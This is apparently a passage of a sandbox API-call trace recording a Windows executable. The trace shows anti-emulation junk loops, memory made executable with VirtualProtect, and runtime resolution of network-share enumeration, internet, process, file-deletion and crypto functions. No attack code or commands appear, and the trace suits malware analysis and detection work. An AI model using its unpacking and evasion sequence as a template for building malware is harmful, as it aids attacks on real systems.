IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.363] GetMessageExtraInfo () returned 0x0 [0042.363] GetLastError () returned 0x578 [0042.363] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.363] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.363] GetMessageExtraInfo () returned 0x0 [0042.363] GetLastError () returned 0x578 [0042.363] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.363] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.363] GetMessageExtraInfo () returned 0x0 [0042.363] GetLastError () returned 0x578 [0042.363] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.363] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.364] GetMessageExtraInfo () returned 0x0 [0042.364] GetLastError () returned 0x578 [0042.364] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.364] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.364] GetMessageExtraInfo () returned 0x0 [0042.364] GetLastError () returned 0x578 [0042.364] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.364] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.364] GetMessageExtraInfo () returned 0x0 [0042.364] GetLastError () returned 0x578 [0042.364] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.364] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.364] GetMessageExtraInfo () returned 0x0 [0042.364] GetLastError () returned 0x578 [0042.364] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.364] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.364] GetMessageExtraInfo () returned 0x0 [0042.364] GetLastError () returned 0x578 [0042.364] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.364] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.364] GetMessageExtraInfo () returned 0x0 [0042.364] GetLastError () returned 0x578 [0042.364] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.364] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.364] GetMessageExtraInfo () returned 0x0 [0042.364] GetLastError () returned 0x578 [0042.364] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.364] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.364] GetMessageExtraInfo () returned 0x0 [0042.364] GetLastError () returned 0x578 [0042.364] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.364] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.364] GetMessageExtraInfo () returned 0x0 [0042.364] GetLastError () returned 0x578 [0042.364] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.364] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.364] GetMessageExtraInfo () returned 0x0 [0042.364] GetLastError () returned 0x578 [0042.364] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.365] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.365] GetMessageExtraInfo () returned 0x0 [0042.365] GetLastError () returned 0x578 [0042.365] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.365] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.365] GetMessageExtraInfo () returned 0x0 [0042.365] GetLastError () returned 0x578 [0042.365] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.365] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.365] GetMessageExtraInfo () returned 0x0 [0042.365] GetLastError () returned 0x578 [0042.365] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.365] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.365] GetMessageExtraInfo () returned 0x0 [0042.365] GetLastError () returned 0x578 [0042.365] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.365] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.365] GetMessageExtraInfo () returned 0x0 [0042.365] GetLastError () returned 0x578 [0042.365] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.365] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.365] GetMessageExtraInfo () returned 0x0 [0042.365] GetLastError () returned 0x578 [0042.365] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.365] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.365] GetMessageExtraInfo () returned 0x0 [0042.365] GetLastError () returned 0x578 [0042.365] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.365] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.365] GetMessageExtraInfo () returned 0x0 [0042.365] GetLastError () returned 0x578 [0042.365] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.365] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.365] GetMessageExtraInfo () returned 0x0 [0042.365] GetLastError () returned 0x578 [0042.365] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.365] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.365] GetMessageExtraInfo () returned 0x0 [0042.365] GetLastError () returned 0x578 [0042.366] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.366] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.366] GetMessageExtraInfo () returned 0x0 [0042.366] GetLastError () returned 0x578 [0042.366] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.366] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.366] GetMessageExtraInfo () returned 0x0 [0042.366] GetLastError () returned 0x578 [0042.366] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.366] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.366] GetMessageExtraInfo () returned 0x0 [0042.366] GetLastError () returned 0x578 [0042.366] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.366] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.366] GetMessageExtraInfo () returned 0x0 [0042.366] GetLastError () returned 0x578 [0042.366] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.366] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.366] GetMessageExtraInfo () returned 0x0 [0042.366] GetLastError () returned 0x578 [0042.366] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.366] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.366] GetMessageExtraInfo () returned 0x0 [0042.366] GetLastError () returned 0x578 [0042.366] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.366] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.366] GetMessageExtraInfo () returned 0x0 [0042.366] GetLastError () returned 0x578 [0042.366] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.366] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.366] GetMessageExtraInfo () returned 0x0 [0042.366] GetLastError () returned 0x578 [0042.366] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.366] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.366] GetMessageExtraInfo () returned 0x0 [0042.366] GetLastError () returned 0x578 [0042.366] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.366] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.366] GetMessageExtraInfo () returned 0x0 [0042.367] GetLastError () returned 0x578 [0042.367] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.367] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.367] GetMessageExtraInfo () returned 0x0 [0042.367] GetLastError () returned 0x578 [0042.367] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.367] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0042.367] GetMessageExtraInfo () returned 0x0 [0042.367] GetLastError () returned 0x578 [0042.367] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0042.367] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.170] LocalAlloc (uFlags=0x0, uBytes=0x460f8) returned 0x682348 [0043.266] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0043.266] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualProtect") returned 0x76c3435f [0043.266] VirtualProtect (in: lpAddress=0x6c8448, dwSize=0x348ba, flNewProtect=0x40, lpflOldProtect=0x18d948 | out: lpflOldProtect=0x18d948*=0x4) returned 1 [0043.288] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryA") returned 0x76c349d7 [0043.288] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0043.288] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualAlloc") returned 0x76c31856 [0043.289] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualProtect") returned 0x76c3435f [0043.289] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualFree") returned 0x76c3186e [0043.289] GetProcAddress (hModule=0x76c20000, lpProcName="GetVersionExA") returned 0x76c33519 [0043.289] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0043.289] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0043.289] GetProcAddress (hModule=0x76c20000, lpProcName="SetErrorMode") returned 0x76c31b00 [0043.289] SetErrorMode (uMode=0x400) returned 0x0 [0043.289] SetErrorMode (uMode=0x0) returned 0x400 [0043.289] GetVersionExA (in: lpVersionInformation=0x18c898*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x65006564, dwMinorVersion=0x7373, dwBuildNumber=0x2, dwPlatformId=0xffffffff, szCSDVersion="s}\x16w") | out: lpVersionInformation=0x18c898*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0043.289] VirtualAlloc (lpAddress=0x0, dwSize=0x5ec00, flAllocationType=0x1000, flProtect=0x4) returned 0x240000 [0043.296] VirtualProtect (in: lpAddress=0x400000, dwSize=0x7a000, flNewProtect=0x40, lpflOldProtect=0x18d920 | out: lpflOldProtect=0x18d920*=0x2) returned 1 [0043.314] VirtualFree (lpAddress=0x240000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0043.316] LoadLibraryA (lpLibFileName="RPCRT4.dll") returned 0x75ee0000 [0043.316] GetProcAddress (hModule=0x75ee0000, lpProcName="RpcStringFreeW") returned 0x75f01635 [0043.316] GetProcAddress (hModule=0x75ee0000, lpProcName="UuidToStringW") returned 0x75f21ee5 [0043.316] GetProcAddress (hModule=0x75ee0000, lpProcName="UuidToStringA") returned 0x75f5d918 [0043.316] GetProcAddress (hModule=0x75ee0000, lpProcName="RpcStringFreeA") returned 0x75f23fc5 [0043.316] GetProcAddress (hModule=0x75ee0000, lpProcName="UuidCreate") returned 0x75eff48b [0043.316] LoadLibraryA (lpLibFileName="MPR.dll") returned 0x74b20000 [0043.319] GetProcAddress (hModule=0x74b20000, lpProcName="WNetCloseEnum") returned 0x74b22dd6 [0043.319] GetProcAddress (hModule=0x74b20000, lpProcName="WNetOpenEnumW") returned 0x74b22f06 [0043.319] GetProcAddress (hModule=0x74b20000, lpProcName="WNetEnumResourceW") returned 0x74b23058 [0043.319] LoadLibraryA (lpLibFileName="WININET.dll") returned 0x753d0000 [0043.333] GetProcAddress (hModule=0x753d0000, lpProcName="InternetCloseHandle") returned 0x753eab49 [0043.333] GetProcAddress (hModule=0x753d0000, lpProcName="InternetOpenUrlW") returned 0x7544be5c [0043.333] GetProcAddress (hModule=0x753d0000, lpProcName="InternetReadFile") returned 0x753eb406 [0043.333] GetProcAddress (hModule=0x753d0000, lpProcName="InternetOpenUrlA") returned 0x754130f1 [0043.333] GetProcAddress (hModule=0x753d0000, lpProcName="HttpQueryInfoW") returned 0x753f5c75 [0043.333] GetProcAddress (hModule=0x753d0000, lpProcName="InternetOpenA") returned 0x753ff18e [0043.333] GetProcAddress (hModule=0x753d0000, lpProcName="InternetOpenW") returned 0x753f9197 [0043.334] LoadLibraryA (lpLibFileName="WINMM.dll") returned 0x74ae0000 [0043.336] GetProcAddress (hModule=0x74ae0000, lpProcName="timeGetTime") returned 0x74ae26e0 [0043.336] LoadLibraryA (lpLibFileName="SHLWAPI.dll") returned 0x75340000 [0043.336] GetProcAddress (hModule=0x75340000, lpProcName="PathFindExtensionW") returned 0x7535a1b9 [0043.337] GetProcAddress (hModule=0x75340000, lpProcName="PathFindFileNameW") returned 0x7535bb71 [0043.337] GetProcAddress (hModule=0x75340000, lpProcName="PathRemoveFileSpecW") returned 0x75353248 [0043.337] GetProcAddress (hModule=0x75340000, lpProcName="PathFileExistsW") returned 0x753545bf [0043.337] GetProcAddress (hModule=0x75340000, lpProcName="PathAppendW") returned 0x753581ef [0043.337] GetProcAddress (hModule=0x75340000, lpProcName="PathAppendA") returned 0x7534d65e [0043.337] GetProcAddress (hModule=0x75340000, lpProcName="PathFileExistsA") returned 0x7537ad1a [0043.337] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76c20000 [0043.337] GetProcAddress (hModule=0x76c20000, lpProcName="GetTickCount") returned 0x76c3110c [0043.337] GetProcAddress (hModule=0x76c20000, lpProcName="TlsFree") returned 0x76c33587 [0043.337] GetProcAddress (hModule=0x76c20000, lpProcName="GetCommandLineW") returned 0x76c35223 [0043.337] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileA") returned 0x76c353c6 [0043.337] GetProcAddress (hModule=0x76c20000, lpProcName="FindFirstFileW") returned 0x76c34435 [0043.337] GetProcAddress (hModule=0x76c20000, lpProcName="SetFilePointer") returned 0x76c317d1 [0043.338] GetProcAddress (hModule=0x76c20000, lpProcName="lstrlenA") returned 0x76c35a4b [0043.338] GetProcAddress (hModule=0x76c20000, lpProcName="SetErrorMode") returned 0x76c31b00 [0043.338] GetProcAddress (hModule=0x76c20000, lpProcName="FreeLibrary") returned 0x76c334c8 [0043.338] GetProcAddress (hModule=0x76c20000, lpProcName="CreateProcessW") returned 0x76c3103d [0043.338] GetProcAddress (hModule=0x76c20000, lpProcName="SetFilePointerEx") returned 0x76c4c807 [0043.338] GetProcAddress (hModule=0x76c20000, lpProcName="CreateDirectoryW") returned 0x76c34259 [0043.338] GetProcAddress (hModule=0x76c20000, lpProcName="WaitForSingleObject") returned 0x76c31136 [0043.338] GetProcAddress (hModule=0x76c20000, lpProcName="GetLogicalDrives") returned 0x76c35371 [0043.338] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualFree") returned 0x76c3186e [0043.338] GetProcAddress (hModule=0x76c20000, lpProcName="WriteFile") returned 0x76c31282 [0043.338] GetProcAddress (hModule=0x76c20000, lpProcName="GetDriveTypeA") returned 0x76c4ef75 [0043.338] GetProcAddress (hModule=0x76c20000, lpProcName="OpenProcess") returned 0x76c31986 [0043.338] GetProcAddress (hModule=0x76c20000, lpProcName="GlobalAlloc") returned 0x76c3588e [0043.338] GetProcAddress (hModule=0x76c20000, lpProcName="GetSystemDirectoryW") returned 0x76c35063 [0043.339] GetProcAddress (hModule=0x76c20000, lpProcName="WideCharToMultiByte") returned 0x76c3170d [0043.339] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryW") returned 0x76c3492b [0043.339] GetProcAddress (hModule=0x76c20000, lpProcName="Sleep") returned 0x76c310ff [0043.339] GetProcAddress (hModule=0x76c20000, lpProcName="CopyFileW") returned 0x76c5830d [0043.339] GetProcAddress (hModule=0x76c20000, lpProcName="FormatMessageW") returned 0x76c34620 [0043.339] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcpynW") returned 0x76c5d556 [0043.339] GetProcAddress (hModule=0x76c20000, lpProcName="CreateProcessA") returned 0x76c31072 [0043.339] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0043.339] GetProcAddress (hModule=0x76c20000, lpProcName="ReadFile") returned 0x76c33ed3 [0043.339] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileW") returned 0x76c33f5c [0043.339] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcatA") returned 0x76c52b7a [0043.339] GetProcAddress (hModule=0x76c20000, lpProcName="GetEnvironmentVariableA") returned 0x76c333a0 [0043.339] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcmpW") returned 0x76c35929 [0043.340] GetProcAddress (hModule=0x76c20000, lpProcName="MultiByteToWideChar") returned 0x76c3192e [0043.340] GetProcAddress (hModule=0x76c20000, lpProcName="lstrlenW") returned 0x76c31700 [0043.340] GetProcAddress (hModule=0x76c20000, lpProcName="FlushFileBuffers") returned 0x76c3469b [0043.340] GetProcAddress (hModule=0x76c20000, lpProcName="GetShortPathNameA") returned 0x76c5594d [0043.340] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileSizeEx") returned 0x76c359e2 [0043.340] GetProcAddress (hModule=0x76c20000, lpProcName="GetLastError") returned 0x76c311c0 [0043.340] GetProcAddress (hModule=0x76c20000, lpProcName="SetLastError") returned 0x76c311a9 [0043.340] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcAddress") returned 0x76c31222 [0043.340] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualAlloc") returned 0x76c31856 [0043.340] GetProcAddress (hModule=0x76c20000, lpProcName="MoveFileW") returned 0x76c49af0 [0043.340] GetProcAddress (hModule=0x76c20000, lpProcName="FindClose") returned 0x76c34442 [0043.340] GetProcAddress (hModule=0x76c20000, lpProcName="Process32FirstW") returned 0x76c58baf [0043.340] GetProcAddress (hModule=0x76c20000, lpProcName="LocalAlloc") returned 0x76c3168c [0043.340] GetProcAddress (hModule=0x76c20000, lpProcName="CreateEventW") returned 0x76c3183e [0043.341] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameA") returned 0x76c314b1 [0043.341] GetProcAddress (hModule=0x76c20000, lpProcName="Process32NextW") returned 0x76c5896c [0043.341] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcatW") returned 0x76c5828e [0043.341] GetProcAddress (hModule=0x76c20000, lpProcName="CreateMutexA") returned 0x76c34c6b [0043.341] GetProcAddress (hModule=0x76c20000, lpProcName="FatalAppExitA") returned 0x76cb4691 [0043.341] GetProcAddress (hModule=0x76c20000, lpProcName="CreateToolhelp32Snapshot") returned 0x76c5735f [0043.341] GetProcAddress (hModule=0x76c20000, lpProcName="CloseHandle") returned 0x76c31410 [0043.341] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteFileW") returned 0x76c389b3 [0043.341] GetProcAddress (hModule=0x76c20000, lpProcName="LocalFree") returned 0x76c32d3c [0043.341] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcpyW") returned 0x76c53102 [0043.341] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteFileA") returned 0x76c35444 [0043.342] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcpyA") returned 0x76c52a9d [0043.342] GetProcAddress (hModule=0x76c20000, lpProcName="SetPriorityClass") returned 0x76c4cf28 [0043.342] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleW") returned 0x76c334b0 [0043.342] GetProcAddress (hModule=0x76c20000, lpProcName="GetComputerNameW") returned 0x76c3dd0e [0043.342] GetProcAddress (hModule=0x76c20000, lpProcName="GetExitCodeProcess") returned 0x76c4174d [0043.342] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameW") returned 0x76c34950 [0043.342] GetProcAddress (hModule=0x76c20000, lpProcName="GlobalFree") returned 0x76c35558 [0043.342] GetProcAddress (hModule=0x76c20000, lpProcName="GetVersion") returned 0x76c34467 [0043.342] GetProcAddress (hModule=0x76c20000, lpProcName="CreateDirectoryA") returned 0x76c5d526 [0043.342] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThread") returned 0x76c334d5 [0043.342] GetProcAddress (hModule=0x76c20000, lpProcName="TlsSetValue") returned 0x76c314fb [0043.342] GetProcAddress (hModule=0x76c20000, lpProcName="TlsGetValue") returned 0x76c311e0 [0043.342] GetProcAddress (hModule=0x76c20000, lpProcName="TlsAlloc") returned 0x76c349ad [0043.342] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76c31916 [0043.343] GetProcAddress (hModule=0x76c20000, lpProcName="SetUnhandledExceptionFilter") returned 0x76c387c9 [0043.343] GetProcAddress (hModule=0x76c20000, lpProcName="UnhandledExceptionFilter") returned 0x76c5772f [0043.343] GetProcAddress (hModule=0x76c20000, lpProcName="FreeEnvironmentStringsW") returned 0x76c351cb [0043.343] GetProcAddress (hModule=0x76c20000, lpProcName="GetEnvironmentStringsW") returned 0x76c351e3 [0043.343] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcessId") returned 0x76c311f8 [0043.343] GetProcAddress (hModule=0x76c20000, lpProcName="QueryPerformanceCounter") returned 0x76c31725 [0043.343] GetProcAddress (hModule=0x76c20000, lpProcName="GetStartupInfoW") returned 0x76c34d40 [0043.343] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteCriticalSection") returned 0x771645f5 [0043.343] GetProcAddress (hModule=0x76c20000, lpProcName="GetTimeZoneInformation") returned 0x76c3465a [0043.343] GetProcAddress (hModule=0x76c20000, lpProcName="RaiseException") returned 0x76c358a6 [0043.343] GetProcAddress (hModule=0x76c20000, lpProcName="GetStringTypeW") returned 0x76c31946 [0043.343] GetProcAddress (hModule=0x76c20000, lpProcName="HeapSize") returned 0x77163002 [0043.343] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryExW") returned 0x76c3495d [0043.343] GetProcAddress (hModule=0x76c20000, lpProcName="HeapAlloc") returned 0x7715e026 [0043.344] GetProcAddress (hModule=0x76c20000, lpProcName="GetLocaleInfoW") returned 0x76c33c42 [0043.344] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidLocale") returned 0x76c4ce46 [0043.344] GetProcAddress (hModule=0x76c20000, lpProcName="GetUserDefaultLCID") returned 0x76c33da5 [0043.344] GetProcAddress (hModule=0x76c20000, lpProcName="EnumSystemLocalesW") returned 0x76cb425f [0043.344] GetProcAddress (hModule=0x76c20000, lpProcName="GetDateFormatW") returned 0x76c534d7 [0043.344] GetProcAddress (hModule=0x76c20000, lpProcName="GetTimeFormatW") returned 0x76c4f481 [0043.344] GetProcAddress (hModule=0x76c20000, lpProcName="CompareStringW") returned 0x76c33bca [0043.344] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringW") returned 0x76c317b9 [0043.344] GetProcAddress (hModule=0x76c20000, lpProcName="GetConsoleCP") returned 0x76cd7bff [0043.344] GetProcAddress (hModule=0x76c20000, lpProcName="GetConsoleMode") returned 0x76c31328 [0043.344] GetProcAddress (hModule=0x76c20000, lpProcName="HeapReAlloc") returned 0x77171f6e [0043.344] GetProcAddress (hModule=0x76c20000, lpProcName="SetStdHandle") returned 0x76cb454f [0043.344] GetProcAddress (hModule=0x76c20000, lpProcName="SetEndOfFile") returned 0x76c4ce2e [0043.344] GetProcAddress (hModule=0x76c20000, lpProcName="GetStdHandle") returned 0x76c351b3 [0043.345] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileType") returned 0x76c33531 [0043.345] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleExW") returned 0x76c34a6f [0043.345] GetProcAddress (hModule=0x76c20000, lpProcName="WriteConsoleW") returned 0x76c57aca [0043.345] GetProcAddress (hModule=0x76c20000, lpProcName="ReadConsoleW") returned 0x76cd739a [0043.345] GetProcAddress (hModule=0x76c20000, lpProcName="OutputDebugStringW") returned 0x76c5d1d4 [0043.345] GetProcAddress (hModule=0x76c20000, lpProcName="SetConsoleCtrlHandler") returned 0x76c38a09 [0043.345] GetProcAddress (hModule=0x76c20000, lpProcName="RtlUnwind") returned 0x76c5d1c3 [0043.345] GetProcAddress (hModule=0x76c20000, lpProcName="LeaveCriticalSection") returned 0x77152270 [0043.345] GetProcAddress (hModule=0x76c20000, lpProcName="EnterCriticalSection") returned 0x771522b0 [0043.345] GetProcAddress (hModule=0x76c20000, lpProcName="AreFileApisANSI") returned 0x76cb40d1 [0043.345] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0043.345] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcessHeap") returned 0x76c314e9 [0043.345] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentThreadId") returned 0x76c31450 [0043.346] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentThread") returned 0x76c317ec [0043.346] GetProcAddress (hModule=0x76c20000, lpProcName="GetCPInfo") returned 0x76c35189 [0043.346] GetProcAddress (hModule=0x76c20000, lpProcName="HeapFree") returned 0x76c314c9 [0043.346] GetProcAddress (hModule=0x76c20000, lpProcName="SetEnvironmentVariableA") returned 0x76c3e331 [0043.346] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0043.346] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0043.346] GetProcAddress (hModule=0x76c20000, lpProcName="GetSystemTimeAsFileTime") returned 0x76c33509 [0043.346] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcess") returned 0x76c31809 [0043.346] GetProcAddress (hModule=0x76c20000, lpProcName="CreateSemaphoreW") returned 0x76c4ca5a [0043.346] GetProcAddress (hModule=0x76c20000, lpProcName="GetOEMCP") returned 0x76c5d1a1 [0043.346] GetProcAddress (hModule=0x76c20000, lpProcName="GetACP") returned 0x76c3179c [0043.346] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidCodePage") returned 0x76c34493 [0043.346] GetProcAddress (hModule=0x76c20000, lpProcName="IsProcessorFeaturePresent") returned 0x76c35235 [0043.346] GetProcAddress (hModule=0x76c20000, lpProcName="FindNextFileW") returned 0x76c354ee [0043.347] GetProcAddress (hModule=0x76c20000, lpProcName="IsDebuggerPresent") returned 0x76c34a5d [0043.347] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x74f40000 [0043.347] GetProcAddress (hModule=0x74f40000, lpProcName="LoadCursorW") returned 0x74f588f7 [0043.347] GetProcAddress (hModule=0x74f40000, lpProcName="TranslateMessage") returned 0x74f57809 [0043.347] GetProcAddress (hModule=0x74f40000, lpProcName="RegisterClassExW") returned 0x74f5b17d [0043.347] GetProcAddress (hModule=0x74f40000, lpProcName="ShowWindow") returned 0x74f60dfb [0043.347] GetProcAddress (hModule=0x74f40000, lpProcName="IsWindow") returned 0x74f57136 [0043.347] GetProcAddress (hModule=0x74f40000, lpProcName="CreateWindowExW") returned 0x74f58a29 [0043.347] GetProcAddress (hModule=0x74f40000, lpProcName="UpdateWindow") returned 0x74f63559 [0043.347] GetProcAddress (hModule=0x74f40000, lpProcName="DefWindowProcW") returned 0x771625dd [0043.347] GetProcAddress (hModule=0x74f40000, lpProcName="PeekMessageW") returned 0x74f605ba [0043.347] GetProcAddress (hModule=0x74f40000, lpProcName="PostThreadMessageW") returned 0x74f58bff [0043.347] GetProcAddress (hModule=0x74f40000, lpProcName="MessageBoxW") returned 0x74fafd3f [0043.347] GetProcAddress (hModule=0x74f40000, lpProcName="DispatchMessageW") returned 0x74f5787b [0043.348] GetProcAddress (hModule=0x74f40000, lpProcName="PostQuitMessage") returned 0x74f59abb [0043.348] GetProcAddress (hModule=0x74f40000, lpProcName="DestroyWindow") returned 0x74f59a55 [0043.348] GetProcAddress (hModule=0x74f40000, lpProcName="SendMessageW") returned 0x74f59679 [0043.348] GetProcAddress (hModule=0x74f40000, lpProcName="GetMessageW") returned 0x74f578e2 [0043.348] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x74d40000 [0043.348] GetProcAddress (hModule=0x74d40000, lpProcName="CryptGetHashParam") returned 0x74d4df7e [0043.348] GetProcAddress (hModule=0x74d40000, lpProcName="CryptAcquireContextW") returned 0x74d4df14 [0043.348] GetProcAddress (hModule=0x74d40000, 